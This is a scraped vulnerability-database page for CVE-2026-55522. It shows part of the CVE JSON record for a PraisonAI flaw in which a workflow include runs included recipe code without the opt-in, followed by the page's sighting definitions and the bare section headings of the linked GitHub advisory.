        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-hxmv-c4g6-5fqc",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-hxmv-c4g6-5fqc"
        }
      ],
      "source": {
        "advisory": "GHSA-hxmv-c4g6-5fqc",
        "discovery": "UNKNOWN"
      },
      "title": "PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55522",
    "datePublished": "2026-08-05T19:01:43.051Z",
    "dateReserved": "2026-06-16T22:44:22.284Z",
    "dateUpdated": "2026-08-06T18:45:05.648Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-HXMV-C4G6-5FQC

Summary

Affected Components

Security Boundary

Impact

Reproduction

Validation

Root Cause

Suggested Fix

Severity

Appendix A - pov.py

Appendix B - pov_recipe_run.py

CVE-2026-55522 (GCVE-0-2026-55522)

Tags

Sightings

Nomenclature